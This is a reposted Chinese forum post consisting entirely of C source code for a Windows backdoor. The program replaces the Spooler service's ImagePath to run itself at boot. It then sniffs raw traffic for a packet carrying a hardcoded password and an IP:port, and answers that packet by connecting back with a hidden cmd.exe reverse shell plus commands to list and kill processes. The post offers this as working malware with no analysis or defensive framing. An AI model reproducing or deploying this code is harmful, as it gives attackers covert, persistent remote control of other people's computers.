发新话题
打印

[转载]简单的无驱动嗅探启动后门 By YunShu

[转载]简单的无驱动嗅探启动后门 By YunShu

Codz
复制内容到剪贴板
代码:
////////////////////////////////////////////////////////////////////////////////
//FileName:SimpleBackDoor
//Author:云舒([email]yunshu@ph4nt0m.org[/email])
//Date:2005-11-5
//Modify:2005-11-15
//Modify:2006-1-1
////////////////////////////////////////////////////////////////////////////////

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <winsock2.h>
#include <mstcpip.h>
#include <tlhelp32.h>

///////////////////////////////////////////////////////////////////////////////
//宏定义
///////////////////////////////////////////////////////////////////////////////

#define BUFFER_SIZE           1024 * 10
#define SERVICE_NAME        "SimpleBackdoor"
#define SERVICE_DESCRIPTION      "Just a simple backdoor"
#define   SERVICE_DISPLAY_NAME   "SimpleBackdoor"
#define PASSWORD           "WhereAreYou,Icy"      //后门密码
#define REPLACE_SERVICE_NAME   "Spooler"      //要替换的服务
#define   FLAG              "Icy\>"      //shell的标识符

//#define DEBUG

#ifdef DEBUG
   #define DEBUG_LOG        "c:\debug.txt"
#endif

///////////////////////////////////////////////////////////////////////////////
//全局变量
///////////////////////////////////////////////////////////////////////////////

typedef   struct ip_hdr              //定义IP首部
{
   unsigned char   h_verlen;        //4位首部长度,4位IP版本号
   unsigned char   tos;           //8位服务类型TOS   
   unsigned short   total_len;        //16位总长度(字节)
   unsigned short   ident;           //16位标识
   unsigned short   frag_and_flags;      //3位标志位
   unsigned char   ttl;           //8位生存时间 TTL
   unsigned char   proto;           //8位协议 (TCP, UDP 或其他)
   unsigned short   checksum;        //16位IP首部校验和   
   unsigned int   sourceIP;        //32位源IP地址
   unsigned int   destIP;           //32位目的IP地址
}IP_HEADER;   

typedef   struct tcp_hdr              //定义TCP首部
{
   USHORT        th_sport;        //16位源端口
   USHORT        th_dport;        //16位目的端口   
   unsigned int   th_seq;           //32位序列号
   unsigned int   th_ack;           //32位确认号
   unsigned char   th_lenres;        //4位首部长度/6位保留字
   unsigned char   th_flag;        //6位标志位
   USHORT         th_win;           //16位窗口大小
   USHORT         th_sum;           //16位校验和   
   USHORT         th_urp;           //16位紧急数据偏移量   
}TCP_HEADER;

typedef struct shell_argument        //传递到shell的参数结构
{
   char   ip[16];                //反连的ip地址
   char   port[5];              //反连的端口
}SHELL_ARGUMENT;

BOOL                isRunning; //服务是否在运行
SERVICE_STATUS           serviceStatus;
SERVICE_STATUS_HANDLE      hServiceStatus;

///////////////////////////////////////////////////////////////////////////////
//函数原形
///////////////////////////////////////////////////////////////////////////////

BOOL   ServiceInstall( char * );      //安装服务
BOOL   ServiceUnstall( char * );      //删除服务
void   ServiceControl( DWORD );      //控制服务
void   ServiceMain( DWORD, char **);   //服务入口
int      StartDoor( LPVOID );        //启动后门
BOOL   StartWith( char *, char * );   //判断第一个字符串是否以第二个开头
void   LogToFile( char * );        //日志记录
void   Help( char * );              //帮助
int      Sniffer( void );           //嗅探
int      DecodeTCP( char * );        //解包
int      StartShell( SOCKET );        //执行shell
int      ListProcess( SOCKET );        //列举进程
int      KillProcess( SOCKET, char * );   //杀进程

///////////////////////////////////////////////////////////////////////////////
//程序入口,主函数
///////////////////////////////////////////////////////////////////////////////

int   main( int argc, char *argv[] )
{
   char              filePath[MAX_PATH] = { 0 }; //程序本身路径
   SERVICE_TABLE_ENTRY      serviceTable[2];
   
   serviceTable[0].lpServiceName = SERVICE_NAME;
   serviceTable[0].lpServiceProc = ( LPSERVICE_MAIN_FUNCTION )ServiceMain;

   serviceTable[1].lpServiceName = NULL;
   serviceTable[1].lpServiceProc = NULL;

   GetModuleFileName( NULL, filePath, MAX_PATH );
   
   #ifdef DEBUG
      LogToFile( "Call main\n" );
   #endif

   if( argc == 2 && (!stricmp( argv[1], "-install" )) )
   {
      if( ServiceInstall( filePath ) != TRUE )
      {
        printf( "Install service error\n" );
        return -1;
      }
      printf( "Install service successful\n" );
   }

   else if( argc == 2 && (!stricmp( argv[1], "-unstall" )) )
   {
      if( ServiceUnstall( SERVICE_NAME ) != TRUE )
      {
        printf( "Delete service error\n" );
        return -1;
      }
      printf( "Delete service successful\n" );
   }
      
   else
   {
      Help( argv[0] );
      
      if( !StartServiceCtrlDispatcher( serviceTable ) )
      {
        #ifdef DEBUG
           char   tmp[256] = { 0 };
           sprintf( tmp, "Main StartServiceCtrlDispatcher error: %d\n", GetLastError() );
           LogToFile( tmp );
        #endif
         
        return -1;
      }
   }

   return 0;
}

///////////////////////////////////////////////////////////////////////////////
//安装服务函数
///////////////////////////////////////////////////////////////////////////////

BOOL ServiceInstall( char * exeFilePath )
{
   char   tmpPath[MAX_PATH] = { 0 };
   HKEY   key;
   
   #ifdef   DEBUG
      char   tmp[256] = { 0 };
      sprintf( tmp, "Install: Path is : %s\n", exeFilePath );
      LogToFile( tmp );
   #endif
   
   /*这是安装成新服务,注释掉
   SC_HANDLE serviceMangerHandle = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE );
   if ( serviceMangerHandle == 0 )
   {
      #ifdef   DEBUG
        char   tmp[256] = { 0 };
        sprintf( tmp, "Install: Open services manager database error: %d\n", GetLastError() );
        LogToFile( tmp );
      #endif

      printf( "Install: Open services manager database error: %d\n", GetLastError() );
      return FALSE;
   }
   
   #ifdef   DEBUG
      LogToFile( "Install: open services manager database successful\n" );
   #endif
   
   SC_HANDLE serviceHandle = CreateService
   (
      serviceMangerHandle ,
      SERVICE_NAME ,
      SERVICE_DISPLAY_NAME ,
      SERVICE_ALL_ACCESS ,
      SERVICE_WIN32_OWN_PROCESS ,
      SERVICE_AUTO_START ,
      SERVICE_ERROR_NORMAL ,
      exeFilePath ,
      NULL ,
      NULL ,
      NULL ,
      NULL ,
      NULL
   );
   
   if ( serviceHandle == 0 )
   {
      printf( "Create service error: %d\n", GetLastError() );

      CloseServiceHandle( serviceMangerHandle );
      return FALSE;
   }
   
   #ifdef   DEBUG
      LogToFile( "Install: create services successful\n" );
   #endif
   
   strcpy( tmpPath, "SYSTEM\CurrentControlSet\Services\" );
   strcat( tmpPath, SERVICE_NAME );
   
   if( RegOpenKey( HKEY_LOCAL_MACHINE, tmpPath, &key ) != ERROR_SUCCESS )
   {
      #ifdef   DEBUG
        char   tmp[256] = { 0 };
        sprintf( tmp, "Install: Open key %s error: %d\n", tmpPath, GetLastError() );
        LogToFile( tmp );
      #endif

      printf( "Open key %s error: %d\n", tmpPath, GetLastError() );
      return FALSE;
   }

   #ifdef   DEBUG
      LogToFile( "Install: open regedit successful\n" );
   #endif
   
   RegSetValueEx( key, "Description", 0, REG_SZ, (BYTE *)SERVICE_DESCRIPTION, strlen(SERVICE_DESCRIPTION) );

   #ifdef   DEBUG
      LogToFile( "Install: write regedit successful\n" );
   #endif
   
   RegCloseKey(key);
   CloseServiceHandle( serviceHandle );
   CloseServiceHandle( serviceMangerHandle );

   return TRUE;
   */
   
   //替换系统服务Spooler的执行路径,改为后门程序
   strcpy( tmpPath, "SYSTEM\CurrentControlSet\Services\" );
   strcat( tmpPath, REPLACE_SERVICE_NAME );
   
   if( RegOpenKey( HKEY_LOCAL_MACHINE, tmpPath, &key ) != ERROR_SUCCESS )
   {
      #ifdef   DEBUG
        char   tmp[256] = { 0 };
        sprintf( tmp, "Install: Open key %s error: %d\n", tmpPath, GetLastError() );
        LogToFile( tmp );
      #endif

      printf( "Open key %s error: %d\n", tmpPath, GetLastError() );
      return FALSE;
   }

   #ifdef   DEBUG
      LogToFile( "Install: open regedit successful\n" );
   #endif
   
   if( RegSetValueEx( key,
                "ImagePath",
                0,
                REG_EXPAND_SZ,
                (BYTE *)exeFilePath,
                strlen(exeFilePath) ) != ERROR_SUCCESS )
   
   {
      #ifdef   DEBUG
        char   tmp[256] = { 0 };
        sprintf( tmp, "Install: Set key %s error: %d\n", tmpPath, GetLastError() );
        LogToFile( tmp );
      #endif

      printf( "Set key %s error: %d\n", tmpPath, GetLastError() );

      return FALSE;
   }


   #ifdef   DEBUG
      LogToFile( "Install: write regedit successful\n" );
   #endif
   
   RegCloseKey(key);
   
   return TRUE;
}

///////////////////////////////////////////////////////////////////////////////
//删除服务函数
///////////////////////////////////////////////////////////////////////////////

BOOL ServiceUnstall( char * serviceName )
{
   /*删除新服务,现在替换服务不用这样删除
   SC_HANDLE scmHandle = OpenSCManager (NULL, NULL, SC_MANAGER_ALL_ACCESS);
   
   if ( scmHandle == NULL )
   {
      #ifdef DEBUG
        char   tmp[256] = { 0 };
        sprintf( tmp, "ServiceUntall: open services database error while delete service: %d\n", GetLastError() );
        LogToFile( tmp );
      #endif

      return FALSE;
   }
  
   SC_HANDLE   scHandle = OpenService( scmHandle, serviceName, SERVICE_ALL_ACCESS );
   
   if( scHandle == NULL )
   {
      #ifdef DEBUG
        char   tmp[256] = { 0 };
        sprintf( tmp, "ServiceUntall: open services database error while delete service: %d\n", GetLastError() );
        LogToFile( tmp );
      #endif

      CloseServiceHandle( scmHandle );
         
      return FALSE;
   }
   
   DeleteService( scHandle );

   CloseServiceHandle( scHandle );
   CloseServiceHandle( scmHandle );
         
   return TRUE;
   */
   
   char   tmpPath[MAX_PATH] = { 0 };
   HKEY   key;
   char   *oldFilePath = "%systemroot%\system32\spoolsv.exe";

   strcpy( tmpPath, "SYSTEM\CurrentControlSet\Services\" );
   strcat( tmpPath, REPLACE_SERVICE_NAME );
   
   if( RegOpenKey( HKEY_LOCAL_MACHINE, tmpPath, &key ) != ERROR_SUCCESS )
   {
      #ifdef   DEBUG
        char   tmp[256] = { 0 };
        sprintf( tmp, "Install: Open key %s error: %d\n", tmpPath, GetLastError() );
        LogToFile( tmp );
      #endif

      printf( "Open key %s error: %d\n", tmpPath, GetLastError() );
      return FALSE;
   }

   #ifdef   DEBUG
      LogToFile( "Install: open regedit successful\n" );
   #endif
   
   if( RegSetValueEx( key,
              "ImagePath",
              0,
              REG_EXPAND_SZ,
              (BYTE *)oldFilePath,
              strlen(oldFilePath) ) != ERROR_SUCCESS )
   {
      #ifdef   DEBUG
        char   tmp[256] = { 0 };
        sprintf( tmp, "Unstall: Set key %s value error: %d\n", REPLACE_SERVICE_NAME, GetLastError() );
        LogToFile( tmp );
      #endif
      
      return FALSE;
   }

   #ifdef   DEBUG
      LogToFile( "Unstall: write regedit successful\n" );
   #endif
   
   RegCloseKey(key);
   
   return TRUE;
}

///////////////////////////////////////////////////////////////////////////////
//服务函数主体,启动嗅探模块
///////////////////////////////////////////////////////////////////////////////

void ServiceMain( DWORD argc, char *argv[] )
{
   serviceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;//here
   serviceStatus.dwCurrentState = SERVICE_START_PENDING;
   serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP;
   serviceStatus.dwWin32ExitCode = 0;
   serviceStatus.dwServiceSpecificExitCode = 0;
   serviceStatus.dwCheckPoint = 0;
   serviceStatus.dwWaitHint = 0;
   
   #ifdef DEBUG
      LogToFile( "ServiceMain: Try to register service\n" );
   #endif
   
   hServiceStatus = RegisterServiceCtrlHandler( SERVICE_NAME, (LPHANDLER_FUNCTION)ServiceControl );
   if( hServiceStatus == (SERVICE_STATUS_HANDLE)0 )
   {
      #ifdef DEBUG
        char   tmp[256] = { 0 };
        sprintf( tmp, "ServiceMain: Register service error: %d\n", GetLastError() );
        LogToFile( tmp );
      #endif
      
      return;
   }

   serviceStatus.dwCurrentState = SERVICE_RUNNING;
   serviceStatus.dwCheckPoint = 0;
   serviceStatus.dwWaitHint = 0;
   
   #ifdef DEBUG
      LogToFile( "ServiceMain: Try to start service\n" );
   #endif

   if( !SetServiceStatus( hServiceStatus, &serviceStatus ) )
   {
      #ifdef DEBUG
        char   tmp[256] = { 0 };
        sprintf( tmp, "ServiceMain: Start service error: %d\n", GetLastError() );
        LogToFile( tmp );
      #endif
      
      return;      
   }

   isRunning = TRUE;
   
   #ifdef DEBUG
      LogToFile( "ServiceMain: Service is running now\n" );
   #endif
   
   while( TRUE )
   {
      if( !isRunning )
      {
        break;
      }
      
      #ifdef DEBUG
        LogToFile( "ServiceMain: Start sniffer now\n" );
      #endif

      Sniffer( );
   }
   
   serviceStatus.dwCurrentState = SERVICE_STOPPED;
   
   if( !SetServiceStatus( hServiceStatus, &serviceStatus) )
   {
      #ifdef DEBUG
        char   tmp[256] = { 0 };
        sprintf( tmp, "ServiceMain: Stop service error: %d\n", GetLastError() );
        LogToFile( tmp );
      #endif
   }
   
   return;
}

///////////////////////////////////////////////////////////////////////////////
//服务控制函数
///////////////////////////////////////////////////////////////////////////////

void ServiceControl( DWORD request )
{
   #ifdef DEBUG
      LogToFile( "ServiceControl: Into ServiceControl\n" );
   #endif

   switch ( request )
   {
      case SERVICE_CONTROL_PAUSE:

        serviceStatus.dwCurrentState = SERVICE_PAUSED;

        break;

      case SERVICE_CONTROL_CONTINUE:

        serviceStatus.dwCurrentState = SERVICE_RUNNING;

        break;

      case SERVICE_CONTROL_STOP:
         
        #ifdef DEBUG
           LogToFile( "ServiceControl: Try to stop service\n" );
        #endif
         
        serviceStatus.dwWin32ExitCode = 0;
        serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
        serviceStatus.dwCheckPoint = 0;
        serviceStatus.dwWaitHint = 0;

        isRunning = FALSE;
         
        if( !SetServiceStatus( hServiceStatus, &serviceStatus) )
        {
           #ifdef DEBUG
              char   tmp[256] = { 0 };
              sprintf( tmp, "ServiceMain: Stop service error: %d\n", GetLastError() );
              LogToFile( tmp );
           #endif
        }
        return;

      case SERVICE_CONTROL_INTERROGATE:
         
        break;
         
      default:

        #ifdef DEBUG
           LogToFile( "ServiceControl: Error arguments\n" );
        #endif

        break;
   }

   if( !SetServiceStatus( hServiceStatus, &serviceStatus ) )
   {
      #ifdef DEBUG
        char   tmp[256] = { 0 };
        sprintf( tmp, "ServiceMain: Stop service error: %d\n", GetLastError() );
        LogToFile( tmp );
      #endif
   }

   return;
}

///////////////////////////////////////////////////////////////////////////////
//记录日志函数
///////////////////////////////////////////////////////////////////////////////

#ifdef DEBUG
void LogToFile( char *str )
{
   FILE   *fp;
   
   fp = fopen( DEBUG_LOG, "a" );
   fputs( str, fp );
   fclose( fp );
}
#endif

///////////////////////////////////////////////////////////////////////////////
//输出帮助函数
///////////////////////////////////////////////////////////////////////////////

void Help( char *prog )
{
   printf( "\n===================Code by 云舒(ph4nt0m.org)===================\n" );
   printf( "%s\t<-install>|<-unstall>\n", prog );
   printf( "after install,please restart the service which name is Spooler\n" );
}

///////////////////////////////////////////////////////////////////////////////
//嗅探模块,抓取数据包
///////////////////////////////////////////////////////////////////////////////

int Sniffer( void )
{
   WSADATA        wsaData;
   char FAR      hostName[128] =   { 0 };//存放主机名
   struct hostent   *phe;//存放IP地址结构
   char        myIP[16] = { 0 };
   SOCKET        sock;   
   char        recvBuffer[BUFFER_SIZE] = { 0 };//缓冲区存放捕获的数据
   SOCKADDR_IN      sniff;

   if( WSAStartup(MAKEWORD(2,2), &wsaData) != 0 )
   {
      #ifdef DEBUG
        char   tmp[512] = { 0 };
        sprintf( tmp, "Sniffer: WSAStartup error: %d\n", GetLastError() );
        LogToFile( tmp );
      #endif
      
      return -1;
   }

   gethostname( hostName ,128 );//获取本机主机名
   phe   = gethostbyname( hostName );//获取本机ip地址结构

   if( phe == NULL )
   {
      #ifdef DEBUG
        char   tmp[512] = { 0 };
        sprintf( tmp, "Sniffer: GetHostName error: %d\n", GetLastError() );
        LogToFile( tmp );
      #endif

      return -1;
   }

   
   struct in_addr   addr;
   int ipIndex;
   for( ipIndex = 0 ; phe->h_addr_list[ipIndex] ; ipIndex++ )
   {
      memcpy(&addr , phe->h_addr_list[ipIndex] , 4);
      
      //优先绑定不是内网的ip地址
      if( (strncmp(inet_ntoa(addr) , "10." , 3) != 0) &&
        (strncmp(inet_ntoa(addr) , "192.168." , 8) != 0) &&
        (strncmp(inet_ntoa(addr) , "172." , 4) != 0) )
      {
        strcpy( myIP , inet_ntoa(addr) );
        break;   
      }
   }
   //否则绑定第一个IP地址
   if( strlen(myIP) == 0 )
   {
      memcpy(&addr , phe->h_addr_list[0] , 4);
      strcpy( myIP , inet_ntoa(addr) );  
   }
   
   #ifdef DEBUG
      LogToFile( "Sniffer: Local IP is " );
      LogToFile( myIP );
      LogToFile( "\n" );
   #endif

   //建立socket监听数据包
   sock = socket( AF_INET, SOCK_RAW, IPPROTO_IP );
   
   #ifdef DEBUG
      LogToFile( "Sniffer: Sniffer socket is ok now...\n" );
   #endif
   
   sniff.sin_family = AF_INET;   
   sniff.sin_port = htons(0);
   sniff.sin_addr.s_addr =   inet_addr( myIP );

   //绑定到本地随机端口
   bind(sock,(PSOCKADDR)&sniff,sizeof(sniff));   

   #ifdef DEBUG
      LogToFile( "Sniffer: Sniffer bind is ok now...\n" );
   #endif
   
   //设置SOCK_RAW为SIO_RCVALL,以便接收所有的IP包
   DWORD dwBufferLen[10] = { 0 };
   DWORD dwBufferInLen = 1;
   DWORD dwBytesReturned =   0 ;   
   WSAIoctl(sock,SIO_RCVALL,&dwBufferInLen,sizeof(dwBufferInLen),&dwBufferLen,sizeof(dwBufferLen),&dwBytesReturned,NULL,NULL);   

   #ifdef DEBUG
      LogToFile( "Sniffer: Begain to recv...\n" );
   #endif
   
   int   bytesRecived = 0;
   while(TRUE)   
   {
      //如果服务停止,跳出
      if( !isRunning )
      {
        break;
      }
      
      memset( recvBuffer, 0, BUFFER_SIZE );
      
      //开始捕获数据包
      bytesRecived = recv( sock, recvBuffer, sizeof(recvBuffer), 0 );
      if( bytesRecived <= 0 )
      {
        #ifdef DEBUG
           LogToFile( "Sniffer: recv nothing,break...\n" );
        #endif
   
        break;
      }
      else
      {   
        #ifdef DEBUG
           LogToFile( "Sniffer: recv ok,decode it...\n" );
        #endif
         
        DecodeTCP( recvBuffer );
      }
   }
   closesocket( sock );
   WSACleanup( );
   return 1;
}

///////////////////////////////////////////////////////////////////////////////
//分析数据包,启动后门
///////////////////////////////////////////////////////////////////////////////

int DecodeTCP( char *buffer )
{
   IP_HEADER      *ipHeader;//IP_HEADER型指针
   TCP_HEADER      *tcpHeader;//TCP_HEADER型指针
   struct in_addr   inAddr;
   char        ourData[BUFFER_SIZE] = { 0 };
   char        *flag1 = NULL;
   char        *flag2 = NULL;
   char        password[64] = { 0 };
   SHELL_ARGUMENT   shellArgument;
   HANDLE        threadHandle = NULL;
   DWORD        threadID = 1;

   ipHeader = (IP_HEADER *)buffer;
   
   //是否TCP协议
   if( ipHeader->proto != 6 )
   {
      return -1;
   }
   
   tcpHeader = (TCP_HEADER *)( buffer+sizeof(IP_HEADER) );
   
   //是否有数据
   if( buffer+sizeof(IP_HEADER)+sizeof(TCP_HEADER) == NULL )
   {
      return -1;
   }
   
   strncpy( ourData, buffer+sizeof(IP_HEADER) + sizeof(TCP_HEADER), BUFFER_SIZE - 2 );
   
   flag1 = strchr( ourData, &#39;|&#39; );
   flag2 = strchr( ourData, &#39;:&#39; );

   //flag2-flag1为反向连接ip的长度,flag1 - ourData为密码长度
   if( flag1 == NULL || flag2 == NULL ||
      (flag2 - flag1) > sizeof(shellArgument.ip) || (flag1 - ourData) > (sizeof(password)-1)
      )
      
   {
      return -1;
   }
   
   #ifdef DEBUG
      LogToFile( "DecodeTCP: Have data...\n" );
      LogToFile( "DecodeTCP: " );
      LogToFile( ourData );
      LogToFile( "\n\n" );
   #endif
   
   ZeroMemory( shellArgument.ip, sizeof(shellArgument.ip) );
   ZeroMemory( shellArgument.port, sizeof(shellArgument.port) );

   //获取密码
   strncpy( password, ourData, flag1 - ourData );

   //获取反连IP
   strncpy( shellArgument.ip, flag1 + sizeof(&#39;|&#39;), flag2-(flag1 + sizeof(&#39;|&#39;)) );

   //获取端口
   strncpy( shellArgument.port, flag2 + sizeof(&#39;:&#39;), sizeof(shellArgument.port) - 1 );

   //去掉port后面的回车字符
   if( strchr( shellArgument.port, &#39;\n&#39; ) != NULL )
   {
      *strchr( shellArgument.port, &#39;\n&#39; ) = &#39;&#39;;
   }
   
   #ifdef DEBUG
      LogToFile( "DecodeTCP: password is " );
      LogToFile( password );
      LogToFile( "\nDecodeTCP: Remote ip is " );
      LogToFile( shellArgument.ip );
      LogToFile( "\nDecodeTCP: Remote port is " );
      LogToFile( shellArgument.port );
      LogToFile( "\n" );
   #endif
   
   if( strcmp( PASSWORD, password ) == 0 )
   {
      #ifdef DEBUG
        LogToFile( "DecodeTCP: password is right\n" );
      #endif
      
      threadHandle = CreateThread( NULL,
                        0,
                        (LPTHREAD_START_ROUTINE)StartDoor,
                        &shellArgument,
                        0,
                        &threadID  );
                        
      Sleep( 500 );
      if( threadHandle == NULL )
      {
        #ifdef DEBUG
           char   tmp[512] = { 0 };
           sprintf( tmp, "DecodeTCP: Create thread to make shell error: %d\n", GetLastError() );
           LogToFile( tmp );
        #endif
         
        return -1;
      }
      
      #ifdef DEBUG
        LogToFile( "DecodeTCP: Create thread to make shell successful\n" );
      #endif
      
      threadID ++;
      if( threadID > 20000 )
      {
        threadID = 1;
      }
      
      CloseHandle( threadHandle );
      return 1;
   }
   else
   {
      #ifdef DEBUG
        LogToFile( "DecodeTCP: password is wrong\n" );
      #endif
      
      return -1;
   }
}

///////////////////////////////////////////////////////////////////////////////
//后门模块
///////////////////////////////////////////////////////////////////////////////

int   StartDoor( LPVOID argument )
{
   SOCKET        sock;
   SOCKADDR_IN      sin;
   int           ret;
   WSADATA        wsaData;
   SHELL_ARGUMENT   *shellArgument = (SHELL_ARGUMENT *)argument;

   #ifdef DEBUG
      LogToFile( "StartDoor: I&#39;m in door now\n" );
   #endif
      
   sock = socket( AF_INET, SOCK_STREAM, 0 );
   if ( sock == INVALID_SOCKET )
   {
      #ifdef DEBUG
        char   tmp[512] = { 0 };
        sprintf( tmp, "StartDoor: Create socket error: %d\n", GetLastError() );
        LogToFile( tmp );
      #endif
      
      return -1;
   }
   
   memset( &sin, 0, sizeof(sin) );
   
   sin.sin_family = AF_INET;
   sin.sin_port = htons( atoi(shellArgument->port) );
   sin.sin_addr.s_addr = inet_addr( shellArgument->ip );
   
   ret = connect( sock, (struct sockaddr *)&sin, sizeof(sin) );
   if( ret == SOCKET_ERROR )
   {
      #ifdef DEBUG
        char   tmp[512] = { 0 };
        sprintf( tmp, "StartDoor: Connect error: %d\n", GetLastError() );
        LogToFile( tmp );
      #endif
      
      return -1;
   }
   
   char   cmd[256] = { 0 };      //客户端输入的命令

   while( TRUE )
   {
      //如果服务停止,跳出
      if( !isRunning )
      {
        break;
      }

      ZeroMemory( cmd, sizeof(cmd) );
      
      //发送命令提示符Icy\>
      strcpy( cmd, FLAG );
      send( sock, cmd, strlen(cmd), 0 );

      //接受客户端输入的命令
      ZeroMemory( cmd, sizeof(cmd) );
      recv( sock, cmd, sizeof(cmd)-1, 0 );

      //退出命令
      if( StartWith( cmd, "exit\n" ) )
      {
        send( sock, "ByeBye...\n", strlen("ByeBye...\n"), 0 );
        break;
      }

      //客户端要求执行shell
      if( StartWith( cmd, "shell" ) )
      {
        StartShell( sock );
      }

      //列举进程
      if( StartWith( cmd, "pslist" ) )
      {
        ListProcess( sock );
      }

      //杀进程,cmd + sizeof("kill ")-1即为进程ID
      if( StartWith( cmd, "kill" ) )
      {
        char pID[7] = { 0 };
        strncpy( pID, cmd + sizeof("kill ") - 1, 6 );
         
        *( strchr( pID, &#39;\n&#39; ) ) = &#39;&#39;;
         
        KillProcess( sock, pID );
      }
   }
   
   closesocket( sock );
   return 0;
}

//执行shell
int StartShell( SOCKET sock )
{   
   SECURITY_ATTRIBUTES   sa;
   
   sa.nLength = sizeof( sa );
   sa.lpSecurityDescriptor = 0;
   sa.bInheritHandle = TRUE;
   
   HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
   
   int ret;
   
   //建立管道
   ret=CreatePipe( &hReadPipe1, &hWritePipe1, &sa, 0 );
   ret=CreatePipe( &hReadPipe2, &hWritePipe2, &sa, 0 );
      
   STARTUPINFO   si;
   ZeroMemory( &si, sizeof(si) );

   GetStartupInfo( &si );
   
   //新进程输入输出重定向
   si.cb = sizeof( si );
   si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
   si.wShowWindow = SW_HIDE;
   si.hStdInput = hReadPipe2;
   si.hStdOutput = si.hStdError = hWritePipe1;
   
   PROCESS_INFORMATION   processInfo;
   
   char   cmdLine[] = "cmd.exe";
   
   //建立进程
   ZeroMemory( &processInfo , sizeof(PROCESS_INFORMATION) );
   ret = CreateProcess(NULL, cmdLine, NULL,NULL,1,0,NULL,NULL,&si,&processInfo);
   
   char        buff[BUFFER_SIZE] = { 0 };         
   unsigned long   bytesRead = 0;
   int         i = 0;
   
   while( TRUE )
   {
      if( !isRunning ) break;
      
      memset( buff, 0, BUFFER_SIZE );
      
       ret = PeekNamedPipe( hReadPipe1, buff, BUFFER_SIZE, &bytesRead, 0, 0 );
        
      //防止超时,循环读取
       for(i = 0; i < 5 && bytesRead == 0; i++)
      {
        Sleep(100);
        ret = PeekNamedPipe( hReadPipe1, buff, BUFFER_SIZE, &bytesRead, NULL, NULL );
      }
      
       if( bytesRead )
      {
          ret = ReadFile( hReadPipe1, buff, bytesRead, &bytesRead, 0 );
          if( !ret ) break;
  
        ret = send( sock, buff, bytesRead, 0 );
          if( ret <= 0 ) break;
       }
      else
      {
          bytesRead = recv( sock, buff, BUFFER_SIZE, 0 );
           
          if( bytesRead <= 0 ) break;
         
        if( StartWith( buff , "exit" ) == TRUE ) break;

          ret = WriteFile( hWritePipe2, buff, bytesRead, &bytesRead, 0 );
          if( !ret ) break;
        }
   }
   
   //杀死cmd进程并关闭管道
   TerminateProcess( processInfo.hProcess, 0 );

   CloseHandle( hReadPipe1 );
   CloseHandle( hReadPipe2 );
   CloseHandle( hWritePipe1 );
   CloseHandle( hWritePipe2 );
   
   return 0;
}   

//列举进程
int ListProcess( SOCKET sock )
{
   HANDLE        hProcessSnap = NULL;
   HANDLE        hProcess = NULL;
   PROCESSENTRY32    pe32;
   char        psBuff[BUFFER_SIZE] = { 0 };

   hProcessSnap = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 );
    if( hProcessSnap == INVALID_HANDLE_VALUE )
    {
      #ifdef DEBUG
        char   tmp[256] = { 0 };
        sprintf( tmp, "Call CreateToolhelp32Snapshot error: %d\n", GetLastError() );
        LogToFile( tmp );
      #endif

      return -1;
    }

   pe32.dwSize = sizeof( PROCESSENTRY32 );

   if( !Process32First( hProcessSnap, &pe32 ) )
   {
      #ifdef DEBUG
        char   tmp[256] = { 0 };
        sprintf( tmp, "Call Process32First error: %d\n", GetLastError() );
        LogToFile( tmp );
      #endif

      CloseHandle( hProcessSnap );

      return -1;
   }

   send( sock, "PID\t\tProcessName\n", strlen("PID\t\tProcessName\n"), 0 );

   do
   {
      ZeroMemory( psBuff , sizeof(psBuff) );
      sprintf( psBuff , "%d\t\t%s\n", pe32.th32ProcessID , pe32.szExeFile );

      send( sock, psBuff, strlen(psBuff), 0 );
   }
   while( Process32Next( hProcessSnap, &pe32 ) );

   return 0;
}

//杀进程
int KillProcess( SOCKET sock, char *pID )
{
   HANDLE           hToken;
   LUID            sedebugnameValue;
   TOKEN_PRIVILEGES    tkp;

   if ( !OpenProcessToken( GetCurrentProcess() , TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY , &hToken ) )
   {
      send( sock, "Open Process Token Failed\n", strlen("Open Process Token Failed\n"), 0 );
      return -1;
   }

   if ( !LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &sedebugnameValue ) )
   {
      send( sock, "Set Privileg Failed\n", strlen("Set Privileg Failed\n"), 0 );
      CloseHandle( hToken );

      return -1;
   }

   tkp.PrivilegeCount = 1;
   tkp.Privileges[0].Luid = sedebugnameValue;
   tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

   AdjustTokenPrivileges( hToken, FALSE, &tkp, sizeof(tkp), NULL, NULL );

   CloseHandle( hToken );


   HANDLE   hProcess = NULL;
   
   send( sock, "try to kill ", strlen("try to kill "), 0 );
   send( sock, pID, strlen(pID), 0 );
   send( sock, "\n", strlen("\n"), 0 );
   
   hProcess = OpenProcess( PROCESS_TERMINATE , FALSE , atoi(pID) );
   if( hProcess ==INVALID_HANDLE_VALUE || hProcess == NULL )
   {
      char err[56] = { 0 };
      sprintf( err, "Open Process Failed: %d\n", GetLastError() );
      send( sock, err, strlen(err), 0 );

      return -1;
   }
   if ( !TerminateProcess( hProcess, (DWORD) -1 ) )
   {
      send( sock, "Terminate Process Failed\n", strlen("Terminate Process Failed\n"), 0 );
      CloseHandle( hProcess );

      return -1;
   }
   
   send( sock, "process killed\n", strlen("process killed\n"), 0 );
   CloseHandle( hProcess );

   return 1;
}

//判断buf1是否以buf2开头
BOOL StartWith( char *buf1, char *buf2 )
{
   int len = strlen(buf2);

   if( memcmp( buf1,buf2,len ) == 0 )
   {
      return TRUE;
   }
   return FALSE;
}

TOP

发新话题